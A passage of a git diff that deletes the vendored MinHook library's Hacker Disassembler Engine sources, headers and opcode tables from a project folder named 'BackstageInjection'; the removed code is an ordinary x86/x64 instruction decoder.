IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -// Size of each memory slot. -#if defined(_M_X64) || defined(__x86_64__) - #define MEMORY_SLOT_SIZE 64 -#else - #define MEMORY_SLOT_SIZE 32 -#endif - -VOID InitializeBuffer(VOID); -VOID UninitializeBuffer(VOID); -LPVOID AllocateBuffer(LPVOID pOrigin); -VOID FreeBuffer(LPVOID pBuffer); -BOOL IsExecutableAddress(LPVOID pAddress); diff --git a/BackstageInjection/Minhook/src/hde/hde32.c b/BackstageInjection/Minhook/src/hde/hde32.c deleted file mode 100644 index eb6af9b..0000000 --- a/BackstageInjection/Minhook/src/hde/hde32.c +++ /dev/null @@ -1,324 +0,0 @@ -/* - * Hacker Disassembler Engine 32 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#if defined(_M_IX86) || defined(__i386__) - -#include -#include "hde32.h" -#include "table32.h" - -unsigned int hde32_disasm(const void *code, hde32s *hs) -{ - uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; - uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0; - - memset(hs, 0, sizeof(hde32s)); - - for (x = 16; x; x--) - switch (c = *p++) { - case 0xf3: - hs->p_rep = c; - pref |= PRE_F3; - break; - case 0xf2: - hs->p_rep = c; - pref |= PRE_F2; - break; - case 0xf0: - hs->p_lock = c; - pref |= PRE_LOCK; - break; - case 0x26: case 0x2e: case 0x36: - case 0x3e: case 0x64: case 0x65: - hs->p_seg = c; - pref |= PRE_SEG; - break; - case 0x66: - hs->p_66 = c; - pref |= PRE_66; - break; - case 0x67: - hs->p_67 = c; - pref |= PRE_67; - break; - default: - goto pref_done; - } - pref_done: - - hs->flags = (uint32_t)pref << 23; - - if (!pref) - pref |= PRE_NONE; - - if ((hs->opcode = c) == 0x0f) { - hs->opcode2 = c = *p++; - ht += DELTA_OPCODES; - } else if (c >= 0xa0 && c <= 0xa3) { - if (pref & PRE_67) - pref |= PRE_66; - else - pref &= ~PRE_66; - } - - opcode = c; - cflags = ht[ht[opcode / 4] + (opcode % 4)]; - - if (cflags == C_ERROR) { - hs->flags |= F_ERROR | F_ERROR_OPCODE; - cflags = 0; - if ((opcode & -3) == 0x24) - cflags++; - } - - x = 0; - if (cflags & C_GROUP) { - uint16_t t; - t = *(uint16_t *)(ht + (cflags & 0x7f)); - cflags = (uint8_t)t; - x = (uint8_t)(t >> 8); - } - - if (hs->opcode2) { - ht = hde32_table + DELTA_PREFIXES; - if (ht[ht[opcode / 4] + (opcode % 4)] & pref) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (cflags & C_MODRM) { - hs->flags |= F_MODRM; - hs->modrm = c = *p++; - hs->modrm_mod = m_mod = c >> 6; - hs->modrm_rm = m_rm = c & 7; - hs->modrm_reg = m_reg = (c & 0x3f) >> 3; - - if (x && ((x << m_reg) & 0x80)) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - - if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { - uint8_t t = opcode - 0xd9; - if (m_mod == 3) { - ht = hde32_table + DELTA_FPU_MODRM + t*8; - t = ht[m_reg] << m_rm; - } else { - ht = hde32_table + DELTA_FPU_REG; - t = ht[t] << m_reg; - } - if (t & 0x80) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (pref & PRE_LOCK) { - if (m_mod == 3) { - hs->flags |= F_ERROR | F_ERROR_LOCK; - } else { - uint8_t *table_end, op = opcode; - if (hs->opcode2) { - ht = hde32_table + DELTA_OP2_LOCK_OK; - table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; - } else { - ht = hde32_table + DELTA_OP_LOCK_OK; - table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; - op &= -2; - } - for (; ht != table_end; ht++) - if (*ht++ == op) { - if (!((*ht << m_reg) & 0x80)) - goto no_lock_error; - else - break; - } - hs->flags |= F_ERROR | F_ERROR_LOCK; - no_lock_error: - ; - } - } - - if (hs->opcode2) { - switch (opcode) { - case 0x20: case 0x22: - m_mod = 3; - if (m_reg > 4 || m_reg == 1) - goto error_operand; - else - goto no_error_operand; - case 0x21: case 0x23: - m_mod = 3; - if (m_reg == 4 || m_reg == 5) - goto error_operand; - else - goto no_error_operand; - } - } else { - switch (opcode) { - case 0x8c: - if (m_reg > 5) - goto error_operand; - else - goto no_error_operand; - case 0x8e: - if (m_reg == 1 || m_reg > 5) - goto error_operand; - else - goto no_error_operand; - } - } - - if (m_mod == 3) { - uint8_t *table_end; - if (hs->opcode2) { - ht = hde32_table + DELTA_OP2_ONLY_MEM; - table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM; - } else { - ht = hde32_table + DELTA_OP_ONLY_MEM; - table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; - } - for (; ht != table_end; ht += 2) - if (*ht++ == opcode) { - if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) - goto error_operand; - else - break; - } - goto no_error_operand; - } else if (hs->opcode2) { - switch (opcode) { - case 0x50: case 0xd7: case 0xf7: - if (pref & (PRE_NONE | PRE_66)) - goto error_operand; - break; - case 0xd6: - if (pref & (PRE_F2 | PRE_F3)) - goto error_operand; - break; - case 0xc5: - goto error_operand; - } - goto no_error_operand; - } else - goto no_error_operand; - - error_operand: - hs->flags |= F_ERROR | F_ERROR_OPERAND; - no_error_operand: - - c = *p++; - if (m_reg <= 1) { - if (opcode == 0xf6) - cflags |= C_IMM8; - else if (opcode == 0xf7) - cflags |= C_IMM_P66; - } - - switch (m_mod) { - case 0: - if (pref & PRE_67) { - if (m_rm == 6) - disp_size = 2; - } else - if (m_rm == 5) - disp_size = 4; - break; - case 1: - disp_size = 1; - break; - case 2: - disp_size = 2; - if (!(pref & PRE_67)) - disp_size <<= 1; - break; - } - - if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) { - hs->flags |= F_SIB; - p++; - hs->sib = c; - hs->sib_scale = c >> 6; - hs->sib_index = (c & 0x3f) >> 3; - if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) - disp_size = 4; - } - - p--; - switch (disp_size) { - case 1: - hs->flags |= F_DISP8; - hs->disp.disp8 = *p; - break; - case 2: - hs->flags |= F_DISP16; - hs->disp.disp16 = *(uint16_t *)p; - break; - case 4: - hs->flags |= F_DISP32; - hs->disp.disp32 = *(uint32_t *)p; - break; - } - p += disp_size; - } else if (pref & PRE_LOCK) - hs->flags |= F_ERROR | F_ERROR_LOCK; - - if (cflags & C_IMM_P66) { - if (cflags & C_REL32) { - if (pref & PRE_66) { - hs->flags |= F_IMM16 | F_RELATIVE; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - goto disasm_done; - } - goto rel32_ok; - } - if (pref & PRE_66) { - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - } else { - hs->flags |= F_IMM32; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } - } - - if (cflags & C_IMM16) { - if (hs->flags & F_IMM32) { - hs->flags |= F_IMM16; - hs->disp.disp16 = *(uint16_t *)p; - } else if (hs->flags & F_IMM16) { - hs->flags |= F_2IMM16; - hs->disp.disp16 = *(uint16_t *)p; - } else { - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - } - p += 2; - } - if (cflags & C_IMM8) { - hs->flags |= F_IMM8; - hs->imm.imm8 = *p++; - } - - if (cflags & C_REL32) { - rel32_ok: - hs->flags |= F_IMM32 | F_RELATIVE; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else if (cflags & C_REL8) { - hs->flags |= F_IMM8 | F_RELATIVE; - hs->imm.imm8 = *p++; - } - - disasm_done: - - if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { - hs->flags |= F_ERROR | F_ERROR_LENGTH; - hs->len = 15; - } - - return (unsigned int)hs->len; -} - -#endif // defined(_M_IX86) || defined(__i386__) diff --git a/BackstageInjection/Minhook/src/hde/hde32.h b/BackstageInjection/Minhook/src/hde/hde32.h deleted file mode 100644 index 1112450..0000000 --- a/BackstageInjection/Minhook/src/hde/hde32.h +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Hacker Disassembler Engine 32 - * Copyright (c) 2006-2009, Vyacheslav Patkov. - * All rights reserved. - * - * hde32.h: C/C++ header file - * - */ - -#ifndef _HDE32_H_ -#define _HDE32_H_ - -/* stdint.h - C99 standard header - * http://en.wikipedia.org/wiki/stdint.h - * - * if your compiler doesn't contain "stdint.h" header (for - * example, Microsoft Visual C++), you can download file: - * http://www.azillionmonkeys.com/qed/pstdint.h - * and change next line to: - * #include "pstdint.h" - */ -#include "pstdint.h" - -#define F_MODRM 0x00000001 -#define F_SIB 0x00000002 -#define F_IMM8 0x00000004 -#define F_IMM16 0x00000008 -#define F_IMM32 0x00000010 -#define F_DISP8 0x00000020 -#define F_DISP16 0x00000040 -#define F_DISP32 0x00000080 -#define F_RELATIVE 0x00000100 -#define F_2IMM16 0x00000800 -#define F_ERROR 0x00001000 -#define F_ERROR_OPCODE 0x00002000 -#define F_ERROR_LENGTH 0x00004000 -#define F_ERROR_LOCK 0x00008000 -#define F_ERROR_OPERAND 0x00010000 -#define F_PREFIX_REPNZ 0x01000000 -#define F_PREFIX_REPX 0x02000000 -#define F_PREFIX_REP 0x03000000 -#define F_PREFIX_66 0x04000000 -#define F_PREFIX_67 0x08000000 -#define F_PREFIX_LOCK 0x10000000 -#define F_PREFIX_SEG 0x20000000 -#define F_PREFIX_ANY 0x3f000000 - -#define PREFIX_SEGMENT_CS 0x2e -#define PREFIX_SEGMENT_SS 0x36 -#define PREFIX_SEGMENT_DS 0x3e -#define PREFIX_SEGMENT_ES 0x26 -#define PREFIX_SEGMENT_FS 0x64 -#define PREFIX_SEGMENT_GS 0x65 -#define PREFIX_LOCK 0xf0 -#define PREFIX_REPNZ 0xf2 -#define PREFIX_REPX 0xf3 -#define PREFIX_OPERAND_SIZE 0x66 -#define PREFIX_ADDRESS_SIZE 0x67 - -#pragma pack(push,1) - -typedef struct { - uint8_t len; - uint8_t p_rep; - uint8_t p_lock; - uint8_t p_seg; - uint8_t p_66; - uint8_t p_67; - uint8_t opcode; - uint8_t opcode2; - uint8_t modrm; - uint8_t modrm_mod; - uint8_t modrm_reg; - uint8_t modrm_rm; - uint8_t sib; - uint8_t sib_scale; - uint8_t sib_index; - uint8_t sib_base; - union { - uint8_t imm8; - uint16_t imm16; - uint32_t imm32; - } imm; - union { - uint8_t disp8; - uint16_t disp16; - uint32_t disp32; - } disp; - uint32_t flags; -} hde32s; - -#pragma pack(pop) - -#ifdef __cplusplus -extern "C" { -#endif - -/* __cdecl */ -unsigned int hde32_disasm(const void *code, hde32s *hs); - -#ifdef __cplusplus -} -#endif - -#endif /* _HDE32_H_ */ diff --git a/BackstageInjection/Minhook/src/hde/hde64.c b/BackstageInjection/Minhook/src/hde/hde64.c deleted file mode 100644 index ce773b1..0000000 --- a/BackstageInjection/Minhook/src/hde/hde64.c +++ /dev/null @@ -1,335 +0,0 @@ -/* - * Hacker Disassembler Engine 64 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#if defined(_M_X64) || defined(__x86_64__) - -#include -#include "hde64.h" -#include "table64.h" - -unsigned int hde64_disasm(const void *code, hde64s *hs) -{ - uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; - uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; - uint8_t op64 = 0; - - memset(hs, 0, sizeof(hde64s)); - - for (x = 16; x; x--) - switch (c = *p++) { - case 0xf3: - hs->p_rep = c; - pref |= PRE_F3; - break; - case 0xf2: - hs->p_rep = c; - pref |= PRE_F2; - break; - case 0xf0: - hs->p_lock = c; - pref |= PRE_LOCK; - break; - case 0x26: case 0x2e: case 0x36: - case 0x3e: case 0x64: case 0x65: - hs->p_seg = c; - pref |= PRE_SEG; - break; - case 0x66: - hs->p_66 = c; - pref |= PRE_66; - break; - case 0x67: - hs->p_67 = c; - pref |= PRE_67; - break; - default: - goto pref_done; - } - pref_done: - - hs->flags = (uint32_t)pref << 23; - - if (!pref) - pref |= PRE_NONE; - - if ((c & 0xf0) == 0x40) { - hs->flags |= F_PREFIX_REX; - if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) - op64++; - hs->rex_r = (c & 7) >> 2; - hs->rex_x = (c & 3) >> 1; - hs->rex_b = c & 1; - if (((c = *p++) & 0xf0) == 0x40) { - opcode = c; - goto error_opcode; - } - } - - if ((hs->opcode = c) == 0x0f) { - hs->opcode2 = c = *p++; - ht += DELTA_OPCODES; - } else if (c >= 0xa0 && c <= 0xa3) { - op64++; - if (pref & PRE_67) - pref |= PRE_66; - else - pref &= ~PRE_66; - } - - opcode = c; - cflags = ht[ht[opcode / 4] + (opcode % 4)]; - - if (cflags == C_ERROR) { - error_opcode: - hs->flags |= F_ERROR | F_ERROR_OPCODE; - cflags = 0; - if ((opcode & -3) == 0x24) - cflags++; - } - - x = 0; - if (cflags & C_GROUP) { - uint16_t t; - t = *(uint16_t *)(ht + (cflags & 0x7f)); - cflags = (uint8_t)t; - x = (uint8_t)(t >> 8); - } - - if (hs->opcode2) { - ht = hde64_table + DELTA_PREFIXES; - if (ht[ht[opcode / 4] + (opcode % 4)] & pref) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (cflags & C_MODRM) { - hs->flags |= F_MODRM; - hs->modrm = c = *p++; - hs->modrm_mod = m_mod = c >> 6; - hs->modrm_rm = m_rm = c & 7; - hs->modrm_reg = m_reg = (c & 0x3f) >> 3; - - if (x && ((x << m_reg) & 0x80)) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - - if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { - uint8_t t = opcode - 0xd9; - if (m_mod == 3) { - ht = hde64_table + DELTA_FPU_MODRM + t*8; - t = ht[m_reg] << m_rm; - } else { - ht = hde64_table + DELTA_FPU_REG; - t = ht[t] << m_reg; - } - if (t & 0x80) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (pref & PRE_LOCK) { - if (m_mod == 3) { - hs->flags |= F_ERROR | F_ERROR_LOCK; - } else { - uint8_t *table_end, op = opcode; - if (hs->opcode2) { - ht = hde64_table + DELTA_OP2_LOCK_OK; - table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; - } else { - ht = hde64_table + DELTA_OP_LOCK_OK; - table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; - op &= -2; - } - for (; ht != table_end; ht++) - if (*ht++ == op) { - if (!((*ht << m_reg) & 0x80)) - goto no_lock_error; - else - break; - } - hs->flags |= F_ERROR | F_ERROR_LOCK; - no_lock_error: - ; - } - } - - if (hs->opcode2) { - switch (opcode) { - case 0x20: case 0x22: - m_mod = 3; - if (m_reg > 4 || m_reg == 1) - goto error_operand; - else - goto no_error_operand; - case 0x21: case 0x23: - m_mod = 3; - if (m_reg == 4 || m_reg == 5) - goto error_operand; - else - goto no_error_operand; - } - } else { - switch (opcode) { - case 0x8c: - if (m_reg > 5) - goto error_operand; - else - goto no_error_operand; - case 0x8e: - if (m_reg == 1 || m_reg > 5) - goto error_operand; - else - goto no_error_operand; - } - } - - if (m_mod == 3) { - uint8_t *table_end; - if (hs->opcode2) { - ht = hde64_table + DELTA_OP2_ONLY_MEM; - table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; - } else { - ht = hde64_table + DELTA_OP_ONLY_MEM; - table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; - } - for (; ht != table_end; ht += 2) - if (*ht++ == opcode) { - if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) - goto error_operand; - else - break; - } - goto no_error_operand; - } else if (hs->opcode2) { - switch (opcode) { - case 0x50: case 0xd7: case 0xf7: - if (pref & (PRE_NONE | PRE_66)) - goto error_operand; - break; - case 0xd6: - if (pref & (PRE_F2 | PRE_F3)) - goto error_operand; - break; - case 0xc5: - goto error_operand; - } - goto no_error_operand; - } else - goto no_error_operand; - - error_operand: - hs->flags |= F_ERROR | F_ERROR_OPERAND; - no_error_operand: - - c = *p++; - if (m_reg <= 1) { - if (opcode == 0xf6) - cflags |= C_IMM8; - else if (opcode == 0xf7) - cflags |= C_IMM_P66; - } - - switch (m_mod) { - case 0: - if (pref & PRE_67) { - if (m_rm == 6) - disp_size = 2; - } else - if (m_rm == 5) - disp_size = 4; - break; - case 1: - disp_size = 1; - break; - case 2: - disp_size = 2; - if (!(pref & PRE_67)) - disp_size <<= 1; - break; - } - - if (m_mod != 3 && m_rm == 4) { - hs->flags |= F_SIB; - p++; - hs->sib = c; - hs->sib_scale = c >> 6; - hs->sib_index = (c & 0x3f) >> 3; - if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) - disp_size = 4; - } - - p--; - switch (disp_size) { - case 1: - hs->flags |= F_DISP8; - hs->disp.disp8 = *p; - break; - case 2: - hs->flags |= F_DISP16; - hs->disp.disp16 = *(uint16_t *)p; - break; - case 4: - hs->flags |= F_DISP32; - hs->disp.disp32 = *(uint32_t *)p; - break; - } - p += disp_size; - } else if (pref & PRE_LOCK) - hs->flags |= F_ERROR | F_ERROR_LOCK; - - if (cflags & C_IMM_P66) { - if (cflags & C_REL32) { - if (pref & PRE_66) { - hs->flags |= F_IMM16 | F_RELATIVE; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - goto disasm_done; - } - goto rel32_ok; - } - if (op64) { - hs->flags |= F_IMM64; - hs->imm.imm64 = *(uint64_t *)p; - p += 8; - } else if (!(pref & PRE_66)) { - hs->flags |= F_IMM32; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else - goto imm16_ok; - } - - - if (cflags & C_IMM16) { - imm16_ok: - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - } - if (cflags & C_IMM8) { - hs->flags |= F_IMM8; - hs->imm.imm8 = *p++; - } - - if (cflags & C_REL32) { - rel32_ok: - hs->flags |= F_IMM32 | F_RELATIVE; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else if (cflags & C_REL8) { - hs->flags |= F_IMM8 | F_RELATIVE; - hs->imm.imm8 = *p++; - } - - disasm_done: - - if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { - hs->flags |= F_ERROR | F_ERROR_LENGTH; - hs->len = 15; - } - - return (unsigned int)hs->len; -} - -#endif // defined(_M_X64) || defined(__x86_64__) diff --git a/BackstageInjection/Minhook/src/hde/hde64.h b/BackstageInjection/Minhook/src/hde/hde64.h deleted file mode 100644 index ecbf4df..0000000 --- a/BackstageInjection/Minhook/src/hde/hde64.h +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Hacker Disassembler Engine 64 - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - * hde64.h: C/C++ header file - * - */ - -#ifndef _HDE64_H_ -#define _HDE64_H_ - -/* stdint.h - C99 standard header - * http://en.wikipedia.org/wiki/stdint.h - * - * if your compiler doesn't contain "stdint.h" header (for - * example, Microsoft Visual C++), you can download file: - * http://www.azillionmonkeys.com/qed/pstdint.h - * and change next line to: - * #include "pstdint.h" - */ -#include "pstdint.h" - -#define F_MODRM 0x00000001 -#define F_SIB 0x00000002 -#define F_IMM8 0x00000004 -#define F_IMM16 0x00000008 -#define F_IMM32 0x00000010 -#define F_IMM64 0x00000020 -#define F_DISP8 0x00000040 -#define F_DISP16 0x00000080 -#define F_DISP32 0x00000100 -#define F_RELATIVE 0x00000200 -#define F_ERROR 0x00001000 -#define F_ERROR_OPCODE 0x00002000 -#define F_ERROR_LENGTH 0x00004000 -#define F_ERROR_LOCK 0x00008000 -#define F_ERROR_OPERAND 0x00010000 -#define F_PREFIX_REPNZ 0x01000000 -#define F_PREFIX_REPX 0x02000000 -#define F_PREFIX_REP 0x03000000 -#define F_PREFIX_66 0x04000000 -#define F_PREFIX_67 0x08000000 -#define F_PREFIX_LOCK 0x10000000 -#define F_PREFIX_SEG 0x20000000 -#define F_PREFIX_REX 0x40000000 -#define F_PREFIX_ANY 0x7f000000 - -#define PREFIX_SEGMENT_CS 0x2e -#define PREFIX_SEGMENT_SS 0x36 -#define PREFIX_SEGMENT_DS 0x3e -#define PREFIX_SEGMENT_ES 0x26 -#define PREFIX_SEGMENT_FS 0x64 -#define PREFIX_SEGMENT_GS 0x65 -#define PREFIX_LOCK 0xf0 -#define PREFIX_REPNZ 0xf2 -#define PREFIX_REPX 0xf3 -#define PREFIX_OPERAND_SIZE 0x66 -#define PREFIX_ADDRESS_SIZE 0x67 - -#pragma pack(push,1) - -typedef struct { - uint8_t len; - uint8_t p_rep; - uint8_t p_lock; - uint8_t p_seg; - uint8_t p_66; - uint8_t p_67; - uint8_t rex; - uint8_t rex_w; - uint8_t rex_r; - uint8_t rex_x; - uint8_t rex_b; - uint8_t opcode; - uint8_t opcode2; - uint8_t modrm; - uint8_t modrm_mod; - uint8_t modrm_reg; - uint8_t modrm_rm; - uint8_t sib; - uint8_t sib_scale; - uint8_t sib_index; - uint8_t sib_base; - union { - uint8_t imm8; - uint16_t imm16; - uint32_t imm32; - uint64_t imm64; - } imm; - union { - uint8_t disp8; - uint16_t disp16; - uint32_t disp32; - } disp; - uint32_t flags; -} hde64s; - -#pragma pack(pop) - -#ifdef __cplusplus -extern "C" { -#endif - -/* __cdecl */ -unsigned int hde64_disasm(const void *code, hde64s *hs); - -#ifdef __cplusplus -} -#endif - -#endif /* _HDE64_H_ */ diff --git a/BackstageInjection/Minhook/src/hde/pstdint.h b/BackstageInjection/Minhook/src/hde/pstdint.h deleted file mode 100644 index 84d82a0..0000000 --- a/BackstageInjection/Minhook/src/hde/pstdint.h +++ /dev/null @@ -1,39 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#include - -// Integer types for HDE. -typedef INT8 int8_t; -typedef INT16 int16_t; -typedef INT32 int32_t; -typedef INT64 int64_t; -typedef UINT8 uint8_t; -typedef UINT16 uint16_t; -typedef UINT32 uint32_t; -typedef UINT64 uint64_t; diff --git a/BackstageInjection/Minhook/src/hde/table32.h b/BackstageInjection/Minhook/src/hde/table32.h deleted file mode 100644 index 7b3e12e..0000000 --- a/BackstageInjection/Minhook/src/hde/table32.h +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Hacker Disassembler Engine 32 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#define C_NONE 0x00 -#define C_MODRM 0x01 -#define C_IMM8 0x02 -#define C_IMM16 0x04 -#define C_IMM_P66 0x10 -#define C_REL8 0x20 -#define C_REL32 0x40 -#define C_GROUP 0x80 -#define C_ERROR 0xff - -#define PRE_ANY 0x00 -#define PRE_NONE 0x01 -#define PRE_F2 0x02 -#define PRE_F3 0x04 -#define PRE_66 0x08 -#define PRE_67 0x10 -#define PRE_LOCK 0x20 -#define PRE_SEG 0x40 -#define PRE_ALL 0xff - -#define DELTA_OPCODES 0x4a -#define DELTA_FPU_REG 0xf1 -#define DELTA_FPU_MODRM 0xf8 -#define DELTA_PREFIXES 0x130 -#define DELTA_OP_LOCK_OK 0x1a1 -#define DELTA_OP2_LOCK_OK 0x1b9 -#define DELTA_OP_ONLY_MEM 0x1cb -#define DELTA_OP2_ONLY_MEM 0x1da - -unsigned char hde32_table[] = { - 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3, - 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f, - 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3, - 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa, - 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90, - 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f, - 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d, - 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59, - 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59, - 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0, - 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01, - 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11, - 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8, - 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca, - 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff, - 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03, - 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00, - 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00, - 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f, - 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a, - 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a, - 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a, - 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06, - 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06, - 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, - 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08, - 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01, - 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba, - 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00, - 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00, - 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07, - 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf, - 0xe7,0x08,0x00,0xf0,0x02,0x00 -}; diff --git a/BackstageInjection/Minhook/src/hde/table64.h b/BackstageInjection/Minhook/src/hde/table64.h deleted file mode 100644 index 01d4541..0000000 --- a/BackstageInjection/Minhook/src/hde/table64.h +++ 